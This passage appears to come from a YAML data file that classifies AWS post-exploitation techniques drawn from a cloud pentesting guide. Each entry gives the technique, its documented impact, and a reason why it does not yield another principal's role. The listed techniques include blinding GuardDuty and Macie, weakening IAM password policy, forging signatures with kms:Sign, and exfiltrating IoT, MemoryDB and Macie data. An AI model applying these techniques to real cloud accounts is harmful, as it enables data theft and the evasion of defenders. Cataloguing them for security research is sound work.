or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutyupdatecustomdetectionruleassociation--downgrade-a-custom-detection-rule + technique: '`guardduty:UpdateCustomDetectionRuleAssociation` — downgrade a custom detection rule' + reason: 'Documented impact: Blinds a specific defender-authored custom detection by downgrading its association + from LIVE (generates findings) to DRY_RUN (metrics only, no findings, auto-expires in 14 days) — or by simply + letting a dry-run association lapse. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutyupdatedetector--suspend-monitoring--disable-data-sources + technique: '`guardduty:UpdateDetector` — suspend monitoring / disable data sources' + reason: 'Documented impact: Removes whole finding classes account-wide (or, with UpdateMemberDetectors, for chosen + members) — with --no-enable GuardDuty stops analysing entirely while the detector object still exists. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutydeletedetector--disassociatefrommasteraccount--member-tampering + technique: '`guardduty:DeleteDetector` / `DisassociateFromMasterAccount` / member tampering' + reason: 'Documented impact: DeleteDetector destroys the detector and every finding (total but extremely loud); + member disassociation detaches an account from centralized monitoring so its findings stop reaching the security + account (durable only in... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-guardduty-post-exploitation/README.md#guarddutydeletepublishingdestination--break-the-export-pipeline + technique: '`guardduty:DeletePublishingDestination` — break the export pipeline' + reason: 'Documented impact: Stops findings being copied to the configured S3 archive, potentially blinding consumers + that ingest only that export. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-healthimaging-data-access-post-exploitation/README.md#medical-imaginggetimagesetmetadata--recover-normalized-dicom-and-patient-metadata + technique: '`medical-imaging:GetImageSetMetadata` — recover normalized DICOM and patient metadata' + reason: This heading concerns reading or exporting data via `medical-imaging:GetImageSetMetadata` — recover normalized + DICOM and patient metadata; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-healthimaging-data-access-post-exploitation/README.md#medical-imaginggetimageframe--download-medical-image-pixels + technique: '`medical-imaging:GetImageFrame` — download medical image pixels' + reason: This heading concerns reading or exporting data via `medical-imaging:GetImageFrame` — download medical + image pixels; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamenablemfadevice--illegitimate-mfa-activation + technique: '`iam:EnableMFADevice` — Illegitimate MFA Activation' + reason: 'Documented impact: Enrols a device the attacker controls onto a victim user. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateaccountpasswordpolicy--iamdeleteaccountpasswordpolicy--weaken-every-console-password-in-the-account + technique: '`iam:UpdateAccountPasswordPolicy` | `iam:DeleteAccountPasswordPolicy` — weaken every console password + in the account' + reason: 'Documented impact: Account-wide reduction in console credential strength, enabling password guessing + and reuse against every IAM user, and removing expiry and reuse-prevention controls that would otherwise have + evicted stale attacker-set passwords. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamcreateaccountalias--iamdeleteaccountalias--hijack-the-console-sign-in-url + technique: '`iam:CreateAccountAlias` | `iam:DeleteAccountAlias` — hijack the console sign-in URL' + reason: 'Documented impact: Loss of the organization''s console sign-in URL, and the opportunity to capture employee + credentials through an AWS-hosted login page at the address they are used to. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamgetrequestauthorizationdetails--read-another-principals-denial-snapshot + technique: '`iam:GetRequestAuthorizationDetails` — Read another principal''s denial snapshot' + reason: 'Documented impact: Maps policy guardrails and organization structure that the compromised identity may + be unable to enumerate normally. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamdelete + technique: '`iam:Delete*`' + reason: 'Documented impact: Account-wide destruction of the IAM control plane — identities, policies, credentials, + federation and MFA — in a single permission. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2createfindingsreport-inspector2createsbomexport + technique: '`inspector2:CreateFindingsReport`, `inspector2:CreateSbomExport`' + reason: 'Documented impact: Generation and exfiltration of detailed vulnerability and software reports, gaining + insights into specific vulnerabilities and security weaknesses. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2cancelfindingsreport-inspector2cancelsbomexport + technique: '`inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport`' + reason: 'Documented impact: Disruption of security monitoring and prevention of timely detection and remediation + of security issues. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2createfilter-inspector2updatefilter-inspector2deletefilter + technique: '`inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`' + reason: 'Documented impact: Concealment or suppression of critical vulnerabilities, or flooding the system with + irrelevant findings. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2associatemember-inspector2disassociatemember + technique: '`inspector2:AssociateMember`, `inspector2:DisassociateMember`' + reason: 'Documented impact: Exclusion of key accounts from security scans, enabling undetected exploitation of + vulnerabilities. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disable-inspector2enable--iamcreateservicelinkedrole + technique: '`inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)' + reason: 'Documented impact: Creation of blind spots in the security monitoring. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2updateorganizationconfiguration + technique: '`inspector2:UpdateOrganizationConfiguration`' + reason: 'Documented impact: Alter security scan policies and configurations for the organization. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2tagresource-inspector2untagresource + technique: '`inspector2:TagResource`, `inspector2:UntagResource`' + reason: 'Documented impact: Disruption of resource organization, cost allocation, or tag-driven security automation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-interconnect-post-exploitation/README.md#interconnectgetconnection--steal-a-pending-connections-partner-activation-key + technique: '`interconnect:GetConnection` — steal a pending connection''s partner activation key' + reason: 'Documented impact: Complete or interfere with a pending multicloud/last-mile connection from the victim''s + Direct Connect gateway to the selected remote network. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#iotgetjobdocument--read-plaintext-fleet-job-payloads + technique: '`iot:GetJobDocument` — read plaintext fleet job payloads' + reason: 'Documented impact: Disclosure of fleet commands, internal configuration, device bootstrap material, or + reusable private artifact/firmware URLs embedded directly in job documents. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#take-over-an-existing-tunnel-with-iotrotatetunnelaccesstoken + technique: Take over an existing tunnel with `iot:RotateTunnelAccessToken` + reason: 'Documented impact: Revocation of the legitimate operator''s current bearer token and takeover of the + remaining tunnel lifetime, enabling the same mapped remote-device access as the original source client. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#iotcreatetopicrule--iampassrole--durable-fleet-wide-mqtt-exfiltration + technique: '`iot:CreateTopicRule` + `iam:PassRole` — durable fleet-wide MQTT exfiltration' + reason: 'Documented impact: Continuous, fleet-wide exfiltration of all IoT MQTT traffic (device telemetry, shadow + updates, commands — frequently containing secrets, tokens, and PII) to an attacker sink, server-side and with + no live connection, persisting... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kendra-post-exploitation/README.md#kendracreatedatasource--updatedatasource--iampassrole--poison-or-repoint-ingestion + technique: '`kendra:CreateDataSource` / `UpdateDataSource` (+ `iam:PassRole`) — poison or repoint ingestion' + reason: 'Documented impact: Adds attacker-controlled material to search/RAG results or causes Kendra to ingest + repository content reachable by the connector role. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kendra-post-exploitation/README.md#kendraputprincipalmapping--alter-group-resolution-for-acl-filtered-queries + technique: '`kendra:PutPrincipalMapping` — alter group resolution for ACL-filtered queries' + reason: 'Documented impact: Expands the Kendra search results visible to the mapped identity, exposing answer + excerpts, passages, titles, URIs, and metadata from ACL-restricted indexed content. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-keyspaces-post-exploitation/README.md#read-sensitive-table-rows-with-cassandraselect + technique: Read sensitive table rows with `cassandra:Select` + reason: 'Documented impact: theft of credentials, tokens, customer records, application configuration and any + other material stored in the selected table. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-keyspaces-post-exploitation/README.md#blindly-poison-or-delete-rows-with-cassandramodify + technique: Blindly poison or delete rows with `cassandra:Modify` + reason: 'Documented impact: application compromise through poisoned configuration, account takeover through token/session + manipulation, fraudulent records, integrity loss or destructive deletion without the ability to read the victim + data. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#inject-or-replace-camera-evidence-with-putmedia + technique: Inject or replace camera evidence with `PutMedia` + reason: 'Documented impact: forge or contaminate surveillance evidence, trigger downstream Rekognition/analytics + workflows, consume storage, or deny ingestion by conflicting with the real producer. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#impersonation-via-kmssign + technique: Impersonation via kms:Sign + reason: 'Documented impact: Produce signatures that verify against the organisation''s trusted public key — forge + JWTs, signed documents, code-signing artefacts or any assertion that key vouches for. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#delete-keys-via-kmsdeleteimportedkeymaterial + technique: Delete Keys via kms:DeleteImportedKeyMaterial + reason: 'Documented impact: Instantly render all data under a BYOK CMK undecryptable — no waiting period at all, + unlike ScheduleKeyDeletion. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationputdatalakesettings--add-a-data-lake-administrator + technique: '`lakeformation:PutDataLakeSettings` — add a data lake administrator' + reason: 'Documented impact: Obtain Regional LF grant authority and weaken the permission model for new resources. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationgrantpermissions--grant-catalog-or-table-access-to-self + technique: '`lakeformation:GrantPermissions` — grant catalog or table access to self' + reason: 'Documented impact: Grant controlled metadata or governed-data access. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationgetdataaccess--abuse-an-authorized-external-engine-session + technique: '`lakeformation:GetDataAccess` — abuse an authorized external-engine session' + reason: 'Documented impact: Read raw objects within the vended prefix through a compromised authorized engine + session. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#lakeformationupdatelftagexpression--widen-existing-lf-tbac-grants + technique: '`lakeformation:UpdateLFTagExpression` — widen existing LF-TBAC grants' + reason: This widens Lake Formation data grants through a saved tag expression, subject to existing grant and LF + permissions; it does not provide an IAM role session or AWS-account administrator authority. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#glueputresourcepolicy--expose-data-catalog-metadata-cross-account + technique: '`glue:PutResourcePolicy` — expose Data Catalog metadata cross-account' + reason: 'Documented impact: Expose metadata or catalog mutation APIs permitted by the inserted statement, but + not the underlying S3 objects by itself. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdalistfunctions-and-lambdalistversionsbyfunction--read-plaintext-environment-variables + technique: '`lambda:ListFunctions` and `lambda:ListVersionsByFunction` — read plaintext environment variables' + reason: 'Documented impact: Account-wide or per-function disclosure of credentials, tokens, endpoints, and other + secrets stored directly in Lambda environment variables. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdacreatemicrovmauthtoken--reach-lambda-microvm-application-ports + technique: '`lambda:CreateMicrovmAuthToken` — reach Lambda MicroVM application ports' + reason: 'Documented impact: Authenticated access to otherwise protected services on an existing Lambda MicroVM, + potentially disclosing workload data or reaching a privileged debug/admin interface; the concrete impact is + application-dependent. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdagetdurableexecutionhistory--disclose-durable-workflow-data + technique: '`lambda:GetDurableExecutionHistory` — disclose durable workflow data' + reason: 'Documented impact: Disclosure of business inputs, secrets, personal data, intermediate decisions, errors, + callback payloads, and final results retained in a long-running workflow. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaupdatenetworkconnector--change-lambda-microvm-private-network-egress + technique: '`lambda:UpdateNetworkConnector` — change Lambda MicroVM private-network egress' + reason: 'Documented impact: Redirect the private egress path of MicroVM workloads that use the connector into + another subnet/security boundary, enabling access to newly reachable private services, controlled DNS/NAT/proxy + paths, traffic denial, or... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdadelete + technique: '`lambda:Delete*`' + reason: 'Documented impact: Destruction of function code, versions, aliases, layers and event source mappings + — an outage of everything those functions drive, plus loss of the code itself where it is not stored elsewhere. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaputfunctionconcurrency--silently-disable-a-function-without-deleting-it + technique: '`lambda:PutFunctionConcurrency` — silently disable a function without deleting it' + reason: 'Documented impact: Complete, instant and easily-reversible denial of service against any Lambda function + — used against defensive automation, it blinds the account''s response capability while every control-plane + health signal continues to report... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md#aws-lambda--efs-mount-injection-via-updatefunctionconfiguration-data-theft + technique: AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft) + reason: 'Documented impact: Read and exfiltrate shared configuration and secrets stored on in-VPC EFS file systems + that the target function previously could not reach, by mounting an arbitrary EFS Access Point into a function + you can reconfigure and invoke. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md#lambdacreateeventsourcemapping--attach-a-source-to-an-existing-privileged-function + technique: '`lambda:CreateEventSourceMapping` — attach a source to an existing privileged function' + reason: 'Documented impact: Trigger a privileged, unchanged victim function against an attacker-chosen (but role-reachable) + source, causing its fixed sensitive behavior to run on attacker-influenced records without code execution, source + read, or... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md#lambdaupdateeventsourcemapping--redirect-an-existing-mapping + technique: '`lambda:UpdateEventSourceMapping` — redirect an existing mapping' + reason: 'Documented impact: Divert live records from an existing DynamoDB Streams/Kinesis/SQS source into an attacker-controlled + Lambda, obtaining continuous read (and tampering) of the victim''s in-flight data without modifying producers + or the original... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md#aws-lambda--runtime-pinningrollback-abuse-via-putruntimemanagementconfig + technique: AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig + reason: The section documents the resource or service effect of AWS Lambda – Runtime Pinning/Rollback Abuse via + PutRuntimeManagementConfig, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managercheckoutborrowlicense--checkoutlicense--consume-or-steal-seller-issued-entitlements + technique: '`license-manager:CheckoutBorrowLicense` / `CheckoutLicense` — consume or steal seller-issued entitlements' + reason: 'Documented impact: Unauthorized software use, theft of an offline signed license, exhaustion of finite + license capacity, and denial of legitimate application activation. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managercreategrant--distribute-license-operations-to-an-external-aws-account + technique: '`license-manager:CreateGrant` — distribute license operations to an external AWS account' + reason: 'Documented impact: Durable cross-account access to valuable seller-issued entitlements and the ability + to consume or redistribute them according to AllowedOperations. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-license-manager-post-exploitation/README.md#license-managerupdatelicenseconfiguration--updatelicensespecificationsforresource--tamper-with-license-enforcement + technique: '`license-manager:UpdateLicenseConfiguration` / `UpdateLicenseSpecificationsForResource` — tamper with + license enforcement' + reason: 'Documented impact: EC2 launch denial, inaccurate license-compliance reporting, untracked software use, + or forced consumption of a targeted license pool. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2createinvitations--acceptinvitation--updateorganizationconfiguration--macie-administrator-takeover + technique: '`macie2:CreateInvitations` / `AcceptInvitation` / `UpdateOrganizationConfiguration` — Macie administrator + takeover' + reason: 'Documented impact: Conditional org-wide visibility into member accounts'' Macie findings and sensitive-data + locations from the approved administrator account. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2getsensitivedataoccurrences--updaterevealconfiguration--retrieve-the-actual-sensitive-values + technique: '`macie2:GetSensitiveDataOccurrences` (+ `UpdateRevealConfiguration`) — retrieve the actual sensitive + values' + reason: 'Documented impact: Direct exfiltration of the sensitive samples (PII, credentials, financial/health data) + referenced by a valid finding. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2putclassificationexportconfiguration--redirect-the-sensitive-data-discovery-map-to-an-attacker-bucket + technique: '`macie2:PutClassificationExportConfiguration` — redirect the sensitive-data discovery map to an attacker + bucket' + reason: 'Documented impact: Continuous exfiltration of the full sensitive-data discovery inventory (locations + of all PII/secrets across scanned S3 buckets) to attacker infrastructure. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#macie2createfindingsfilter-suppress--updatemaciesession--updateclassificationjob--blind-the-detection + technique: '`macie2:CreateFindingsFilter` (SUPPRESS) / `UpdateMacieSession` / `UpdateClassificationJob` — blind + the detection' + reason: 'Documented impact: Detection evasion — suppress or stop sensitive-data/policy findings so malicious S3 + exposure or exfiltration is not reported. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2getsignedbluinsightsurl---obtain-a-blu-insights-portal-session + technique: '`m2:GetSignedBluinsightsUrl` - Obtain a Blu Insights portal session' + reason: This heading concerns reading or exporting data via `m2:GetSignedBluinsightsUrl` - Obtain a Blu Insights + portal session; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2createdatasetexporttask---export-application-data-sets-to-s3 + technique: '`m2:CreateDataSetExportTask` - Export application data sets to S3' + reason: This heading concerns reading or exporting data via `m2:CreateDataSetExportTask` - Export application + data sets to S3; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mainframe-modernization-post-exploitation/README.md#m2createdatasetimporttask---poison-migrated-application-data + technique: '`m2:CreateDataSetImportTask` - Poison migrated application data' + reason: The section documents the resource or service effect of `m2:CreateDataSetImportTask` - Poison migrated + application data, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-prometheus-post-exploitation/README.md#blind-metric-and-alert-poisoning-with-apsremotewrite + technique: Blind metric and alert poisoning with `aps:RemoteWrite` + reason: 'Documented impact: corrupt monitoring evidence, trigger or suppress autoscaling and incident workflows + that consume AMP data, create false alerts, obscure compromise, and increase ingestion/storage/query cost. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacegetbuyerdashboard--mint-an-anonymous-procurement-dashboard-url + technique: '`aws-marketplace:GetBuyerDashboard` — mint an anonymous procurement dashboard URL' + reason: This heading concerns reading or exporting data via `aws-marketplace:GetBuyerDashboard` — mint an anonymous + procurement dashboard URL; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacegetentitlements--enumerate-seller-customers-and-capacity + technique: '`aws-marketplace:GetEntitlements` — enumerate seller customers and capacity' + reason: This heading concerns reading or exporting data via `aws-marketplace:GetEntitlements` — enumerate seller + customers and capacity; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplaceputdeploymentparameter--poison-buyer-quick-launch-secrets + technique: '`aws-marketplace:PutDeploymentParameter` — Poison buyer Quick Launch secrets' + reason: The section documents the resource or service effect of `aws-marketplace:PutDeploymentParameter` — Poison + buyer Quick Launch secrets, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacebatchmeterusage--inflate-or-duplicate-saas-customer-usage + technique: '`aws-marketplace:BatchMeterUsage` — inflate or duplicate SaaS customer usage' + reason: The section documents the resource or service effect of `aws-marketplace:BatchMeterUsage` — inflate or + duplicate SaaS customer usage, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacemeterusage--poison-a-buyer-workloads-hourly-usage-record + technique: '`aws-marketplace:MeterUsage` — poison a buyer workload''s hourly usage record' + reason: The section documents the resource or service effect of `aws-marketplace:MeterUsage` — poison a buyer + workload's hourly usage record, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-marketplace-post-exploitation/README.md#aws-marketplacestartchangeset--seller-supply-chain-or-procurement-policy-tampering + technique: '`aws-marketplace:StartChangeSet` — seller supply-chain or procurement-policy tampering' + reason: The section documents the resource or service effect of `aws-marketplace:StartChangeSet` — seller supply-chain + or procurement-policy tampering, without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-medialive-video-post-exploitation/README.md#read-current-video--medialivedescribethumbnails + technique: Read current video — `medialive:DescribeThumbnails` + reason: This heading concerns reading or exporting data via Read current video — `medialive:DescribeThumbnails`; + it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-data-access-post-exploitation/README.md#authenticate-directly-with-memorydbconnect + technique: Authenticate directly with `memorydb:Connect` + reason: 'Documented impact: Read, modify or delete every key and invoke every command granted by the targeted + MemoryDB user''s access string, potentially exposing session tokens, credentials, PII and application state. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-data-access-post-exploitation/README.md#export-a-snapshot-to-s3-with-memorydbcopysnapshot + technique: Export a snapshot to S3 with `memorydb:CopySnapshot` + reason: 'Documented impact: Full exfiltration of a MemoryDB cluster''s dataset (all keys/values) to attacker-controlled + S3, with no route to the cluster endpoint and no ACL/AUTH credential. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-post-exploitation/README.md#memorydbupdatecluster---remove-authentication-andor-replace-the-network-perimeter + technique: '`memorydb:UpdateCluster` - remove authentication and/or replace the network perimeter' + reason: 'Documented impact: Full unauthenticated read, modification and deletion of the reachable cluster dataset, + including session tokens, credentials, PII and application state. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#query-a-neptune-database-with-only-neptune-dbreaddataviaquery + technique: Query a Neptune database with only `neptune-db:ReadDataViaQuery` + reason: 'Documented impact: Read graph vertices, edges, and properties accessible to the query, including application + data or secrets stored in the graph. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#recover-the-change-log-with-only-neptune-dbgetstreamrecords + technique: Recover the change log with only `neptune-db:GetStreamRecords` + reason: 'Documented impact: Read retained graph changes, including deleted or modified property values that may + no longer be returned by a current-state query. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-neptune-post-exploitation/README.md#query-a-neptune-analytics-graph-with-only-neptune-graphreaddataviaquery + technique: Query a Neptune Analytics graph with only `neptune-graph:ReadDataViaQuery` + reason: 'Documented impact: Read vertices, edges, and properties from the authorized graph through read-only openCypher + queries. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewallupdatefirewallpolicy--associatefirewallpolicy--neuter-the-rules + technique: '`network-firewall:UpdateFirewallPolicy` / `AssociateFirewallPolicy` — neuter the rules' + reason: 'Documented impact: All egress/ingress the firewall was blocking (C2 domains, exfil endpoints, lateral + movement) is now permitted, with the control still appearing configured. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewalldisassociatesubnets--remove-firewall-endpoints + technique: '`network-firewall:DisassociateSubnets` — remove firewall endpoints' + reason: 'Documented impact: Removes inspection endpoints from selected Availability Zones. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-network-firewall-post-exploitation/README.md#network-firewallupdateloggingconfiguration--stop-flowalert-logging-blind + technique: '`network-firewall:UpdateLoggingConfiguration` — stop flow/alert logging (blind)' + reason: 'Documented impact: The firewall keeps filtering but its stateful inspection telemetry 